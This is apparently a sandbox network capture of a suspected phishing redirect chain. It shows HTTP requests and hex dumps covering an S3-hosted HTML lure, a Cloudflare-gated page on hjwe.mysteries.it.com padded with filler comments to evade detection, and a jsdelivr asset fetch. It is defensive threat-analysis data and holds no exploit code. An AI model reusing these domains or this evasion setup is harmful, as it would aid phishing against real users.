2025-03-24 15:34:52 UTC	1024	IN	Data Raw: 59 69 3a 4e a1 e1 5f 85 fa 06 a7 a6 f8 54 f8 a7 c4 9a ef 8b 35 8d 27 fb 58 1f ed 60 0f b2 3f e0 8c 1e 34 f8 e9 e1 ff 00 15 7f c1 44 ff 00 63 3f 8d 9f 1c be 20 7e d2 16 7f b1 5f ed 5d ff 00 0a fb e1 0f c5 7f 8c 1a d1 f1 57 c5 5d 47 e1 07 8f 3c 1d 67 e2 ff 00 09 f8 5b c6 fe 2c bd b0 1f f0 93 eb 9e 1d b1 19 d5 b5 fd 43 4c 20 6a 97 b7 c3 47 3f f0 87 e9 ba 66 95 a5 80 78 7f fc 17 c7 c2 df 12 3c 7d f1 93 fe 08 ef e0 9f 84 df 12 75 1f 83 fe 3f f1 87 ed e8 3c 23 a2 fc 51 d1 ac 74 bb dd 73 c0 76 1e 24 f0 2d de 91 e2 1f 14 f8 7e d3 5b b0 d4 f4 f6 f1 4e 9d e1 4b ad 5f 50 f0 98 d4 34 c1 ff 00 13 6f ec f6 ce 98 07 f6 a1 00 e7 7e 3e fc 33 f8 b5 ff 00 04 90 fd a5 ff 00 e0 9e ff 00 16 be 16 7e d9 9f b6 3f c7 7f 82 ff 00 b5 5f ed 85 f0 db f6 24 fd a1 be 0b fe d6 1f 1c f5 Data Ascii: Yi:N_T5'X`?4Dc? ~_]W]G<g[,CL jG?fx<}u?<#Qtsv$-~[NK_P4o~>3~?_$
2025-03-24 15:34:52 UTC	1749	IN	Data Raw: b6 85 e7 89 ff 00 e1 50 f8 b3 53 3a bd 8b 2e a1 e1 8f 88 c7 c0 f6 9a b7 c6 fd 2b 50 d3 48 6d 2b 55 bd d0 80 d5 74 c6 18 a0 0f 4b f8 89 e0 ff 00 da 0f e3 c7 ed d3 fb 3c 7f c1 21 21 fd b0 7f 69 8f 85 df 03 ff 00 65 ff 00 f8 27 ef 83 ff 00 68 0f da 67 e3 37 c3 3f 8a 9a e7 87 bf 69 9f da 73 e2 3f fc 26 1a 3f c1 fd 2f 42 f1 17 c6 3b db 3d 4b c6 5a 1e 89 a8 df 5a dc fc 40 f1 51 d3 b5 0d be 2b fe d8 f1 06 93 ab e9 60 a7 85 f5 4d 30 03 d4 3f 67 09 be 34 fe c0 7f f0 55 7f 0b 7f c1 3f b5 5f da 37 e3 87 ed 33 fb 2d fe d4 7f b3 27 8b fe 36 fc 1a 8f f6 98 f1 bd cf c5 4f 8b 7f 04 fe 2c 7c 2c f1 39 b3 f1 6f 86 2d 3e 26 de d9 7f c2 43 ad 7c 39 f1 17 85 40 d4 34 9b 0f 10 ea 44 69 5a a9 b0 d2 74 92 3f b3 b5 3d 53 c5 20 1e d1 ff 00 04 21 f8 a1 f1 2f e2 df ec 41 e2 3f 16 7c Data Ascii: PS:.+PHm+UtK<!!ie'hg7?is?&?/B;=KZZ@Q+`M0?g4U?_73-'6O,\|,9o->&C\|9@4DiZt?=S !/A?\|
2025-03-24 15:34:53 UTC	16384	IN	Data Raw: c2 1f 17 fc 50 34 8f 88 5e 17 f0 ff 00 c1 1b 4d 0f 4d f0 7f 80 34 2d 3f 5b d5 6d 47 84 f4 ef 0e 11 a5 f8 57 c2 d7 b7 c4 16 f1 88 d2 fc 4f a6 80 7b 3f ed 89 e1 ef da 43 f6 90 ff 00 82 f1 78 13 f6 35 f0 7f ed 85 fb 4a fe ce 5f b3 86 af ff 00 04 bb d1 7e 36 fc 66 f0 cf c0 bf 89 57 7e 07 d6 fc 46 7c 3b fb 4f fc 4a f0 e2 dc f8 26 f7 fe 26 43 e1 ef 8e 7c 47 ad dc 7c 3f d0 3c 57 e3 ff 00 06 69 ba 5f c4 0d 5b e1 fe 8b a8 f8 44 6a df d8 fa 89 c0 06 87 c1 ff 00 07 fc 66 fd 8d ff 00 e0 a6 d7 ff 00 f0 4d 4b ff 00 da cf f6 9c f8 c5 fb 27 7e d9 df b1 9f c4 8f 89 5f 0b 35 df 8b 9f 17 35 3f 1c 7e d0 df b3 87 c5 8f 02 ea 9f f0 8d f8 a8 fc 3d f8 c3 7d 63 ff 00 09 15 96 86 3c 2b 72 7c 41 e1 53 a8 7c ba 57 8a bf b3 bf b2 36 9d 3b 53 d5 7c 54 01 e1 bf f0 41 4f d9 43 c2 de 0b Data Ascii: P4^MM4-?[mGWO{?Cx5J_~6fW~F\|;OJ&&C\|G\|?<Wi_[DjfMK'~_55?~=}c<+r\|AS\|W6;S\|TAOC
2025-03-24 15:34:53 UTC	1024	IN	Data Raw: 7c 48 b3 f8 db e0 4f 18 5d da f8 77 4a 03 fb 42 f0 ff 00 c2 2b e1 ed 57 4f 5d 43 07 49 0d ac 69 fa 43 6a a7 56 f1 1e 99 fd a8 01 cd fe d0 3f 0a fc 39 fb 44 7f c1 7a ff 00 64 6f 80 3f b5 56 91 a1 fc 51 f8 31 f0 4f fe 09 a9 e3 7f da 03 e1 2f 81 bc 71 63 6b ae 78 03 c6 3f b5 01 f8 dd 67 f0 e3 c6 de 28 bb f0 96 b5 fe 81 e2 8d 6b 4e f8 73 65 a4 f8 83 49 d3 f5 1f ed 4f ec a3 a3 e9 fa c6 91 ce 28 02 7f 16 7c 31 f8 69 fb 29 ff 00 c1 c0 bf b1 96 9d fb 30 f8 3b c2 ff 00 0b 2d 3f 6b 5f d9 37 f6 8e b1 fd aa 7e 1e 7c 38 d2 f4 bf 0a f8 3f 5c d1 be 14 da 5b 78 93 e1 47 c4 fd 7f c1 1a 2d 87 fc 23 ff 00 f0 94 9f 1c db 5d 78 43 4a f1 78 d3 86 a9 aa 9b 2b ed 20 ea 8d ff 00 13 33 a9 80 70 3f f0 42 ef d9 87 f6 67 fd a9 3f 66 4f 8f 5f b5 3f ed 2b f0 4f e1 1f c7 cf da 57 f6 88 Data Ascii: \|HO]wJB+WO]CIiCjV?9Dzdo?VQ1O/qckx?g(kNseIO(\|1i)0;-?k_7~\|8?\[xG-#]xCJx+ 3p?Bg?fO_?+OW
2025-03-24 15:34:53 UTC	16384	IN	Data Raw: d9 df 46 d5 3e 32 78 4f c1 ba 5d 8e b9 ac 6b 1a 3e 83 e0 3f 1e 7f 65 fc 42 d5 bc 31 63 a6 f8 83 c4 fa 17 8c f5 cf 0f 7f c2 3f e2 cf ed 0f ed 4d 54 69 5a c6 bd ff 00 21 4f f9 05 50 07 2b fb 25 f8 ff 00 c3 bf b3 1f ed 59 fb 25 fe cc 3f b7 c7 fc 12 c3 f6 5f fd 99 3f 69 7d 6e d7 c5 1e 02 fd 91 ff 00 6d 6f d9 7f c1 9f 0c 3c 45 f0 43 e2 17 88 3c 39 e0 4b ef f8 4b 34 2f 08 f8 88 68 7e 1c f8 bd f0 2f 5a f1 9f 85 2e f5 4d 3b 4b f0 7f 88 db 52 d5 fc 54 da d6 02 e9 83 52 dd 40 1f a8 3f f0 57 0f 88 1f 13 3e 15 ff 00 c1 31 ff 00 6e 3f 1f 7c 21 bf d5 74 af 1f f8 5f f6 73 f8 8f 7f a0 6b 7a 3d d7 d8 75 6f 0e 5b ff 00 65 de 59 78 87 c4 fa 4d d7 3f 63 be f0 ef 85 6f 35 6f 10 69 37 fa 68 3a ae 97 f6 3f fb 8a 80 0f cc 0f 1b 7f c1 39 3f e0 9e 5a 57 fc 10 43 55 5d 37 e0 cf c1 Data Ascii: F>2xO]k>?eB1c?MTiZ!OP+%Y%?_?i}nmo<EC<9KK4/h~/Z.M;KRTR@?W>1n?\|!t_skz=uo[eYxM?co5oi7h:?9?ZWCU]7

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:34:53 UTC	678	OUT	GET /favicon.ico HTTP/1.1 Host: s3.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:34:54 UTC	305	IN	HTTP/1.1 403 Forbidden x-amz-request-id: 7EA6TTNCGPG191HN x-amz-id-2: 7gPlkEq3FboA1KbRv5Q2V19oaVWTTBf2c5R+Do8S6+kkLptrM2Fw0/vz7Kr/VQpDAYGXNEuNK2naYR/5m9ci8grYQyS7KIvJ Content-Type: application/xml Transfer-Encoding: chunked Date: Mon, 24 Mar 2025 15:34:53 GMT Server: AmazonS3 Connection: close
2025-03-24 15:34:54 UTC	275	IN	Data Raw: 31 30 37 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 37 45 41 36 54 54 4e 43 47 50 47 31 39 31 48 4e 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 37 67 50 6c 6b 45 71 33 46 62 6f 41 31 4b 62 52 76 35 51 32 56 31 39 6f 61 56 57 54 54 42 66 32 63 35 52 2b 44 6f 38 53 36 2b 6b 6b 4c 70 74 72 4d 32 46 77 30 2f 76 7a 37 4b 72 2f 56 51 70 44 41 59 47 58 4e 45 75 4e 4b 32 6e 61 59 52 2f 35 6d 39 63 69 38 67 72 59 51 79 53 37 4b 49 76 4a 3c 2f 48 6f Data Ascii: 107<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>7EA6TTNCGPG191HN</RequestId><HostId>7gPlkEq3FboA1KbRv5Q2V19oaVWTTBf2c5R+Do8S6+kkLptrM2Fw0/vz7Kr/VQpDAYGXNEuNK2naYR/5m9ci8grYQyS7KIvJ</Ho

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:02 UTC	732	OUT	GET /xT1tH/ HTTP/1.1 Host: hjwe.mysteries.it.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:03 UTC	996	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=72llpglsob3m63vdvrr151t61v; path=/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5MbBMZ4h9E2ay82hHBzP911%2F96Z0WFcgF2UH4NMIO4AW6%2FABW44kjEZCNF6MIUWCE4B9SYTeRy0GASbvN6RzU8G6zoj7E0min2naepOXsey2EOnI8feEdFnKAqzJ%2BhmH%2BkMDQTCelm4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92573c741bd497b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106381&min_rtt=104571&rtt_var=23945&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1304&delivery_rate=35617&cwnd=249&unsent_bytes=0&cid=8bf113043397c7cd&ts=438&x=0"
2025-03-24 15:35:03 UTC	373	IN	Data Raw: 31 30 37 31 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 6d 69 72 61 67 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 72 65 73 63 75 65 20 74 65 61 6d 20 73 61 76 65 64 20 6c 69 76 65 73 20 64 75 72 69 6e 67 20 74 68 65 20 63 61 74 61 73 74 72 6f 70 68 69 63 20 66 6c 6f 6f 64 20 69 6e 20 74 68 65 20 63 69 74 79 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f Data Ascii: 1071 <html lang="en"> <head> <meta charset="UTF-8"> <title>mirage</title> ... <span>The rescue team saved lives during the catastrophic flood in the city.</span> --> <meta name="robots" content="noindex, no
2025-03-24 15:35:03 UTC	1369	IN	Data Raw: 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 41 6e 20 61 6e 63 69 65 6e 74 20 6d 61 6e 75 73 63 72 69 70 74 20 77 61 73 20 64 69 73 63 6f 76 65 72 65 64 20 68 69 64 64 65 6e 20 69 6e 73 69 64 65 20 61 20 66 6f 72 67 6f 74 74 65 6e 20 6c 69 62 72 61 72 79 2e 3c 2f 70 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 54 68 65 20 72 65 73 63 75 65 20 77 6f 72 6b 65 72 73 20 73 61 76 65 64 20 61 20 73 74 72 61 6e 64 65 64 20 66 61 6d 69 6c 79 20 64 75 72 69 6e 67 20 Data Ascii: /challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>An ancient manuscript was discovered hidden inside a forgotten library.</p> --> <style> * /* The rescue workers saved a stranded family during
2025-03-24 15:35:03 UTC	1369	IN	Data Raw: 64 69 73 68 20 77 69 74 68 20 61 20 75 6e 69 71 75 65 20 63 6f 6d 62 69 6e 61 74 69 6f 6e 20 6f 66 20 66 6c 61 76 6f 72 73 2e 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 64 65 6c 69 67 68 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: dish with a unique combination of flavors. */ font-size: 1rem; margin-bottom: 30px; letter-spacing: 1px; } @media (max-width: 768px) { .delight {
2025-03-24 15:35:03 UTC	1106	IN	Data Raw: 6e 74 20 6d 61 6e 75 73 63 72 69 70 74 20 77 61 73 20 64 69 73 63 6f 76 65 72 65 64 20 68 69 64 64 65 6e 20 69 6e 73 69 64 65 20 61 20 66 6f 72 67 6f 74 74 65 6e 20 6c 69 62 72 61 72 79 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 42 41 74 30 6f 78 4b 46 50 6d 7a 36 61 53 71 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 62 72 61 6d 62 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 21 2d 2d 20 41 20 67 72 6f 75 70 20 6f 66 20 61 73 74 72 6f 6e 6f 6d 65 72 73 20 64 69 73 63 6f 76 65 72 65 64 20 61 20 64 69 73 74 61 6e 74 20 70 6c 61 6e 65 Data Ascii: nt manuscript was discovered hidden inside a forgotten library. --> <span class="cf-turnstile" data-sitekey="0x4AAAAAABAt0oxKFPmz6aSq" data-callback="bramble"> </span>... A group of astronomers discovered a distant plane
2025-03-24 15:35:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:03 UTC	671	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://hjwe.mysteries.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:04 UTC	682	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 53 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=600, s-maxage=600 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/plain; charset=utf-8 ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4" Accept-Ranges: bytes Age: 17 Date: Mon, 24 Mar 2025 15:35:03 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-lga21954-LGA X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-24 15:35:04 UTC	53	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 20 66 6f 72 20 70 72 61 6e 61 79 6e 61 6d 6e 61 69 6b 2f 66 69 6c 65 73 2e Data Ascii: Failed to fetch version info for pranaynamnaik/files.

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:03 UTC	590	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://hjwe.mysteries.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:04 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 24 Mar 2025 15:35:03 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 92573c799d13434a-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:04 UTC	605	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://hjwe.mysteries.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:04 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 92573c7caadc614b-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:04 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 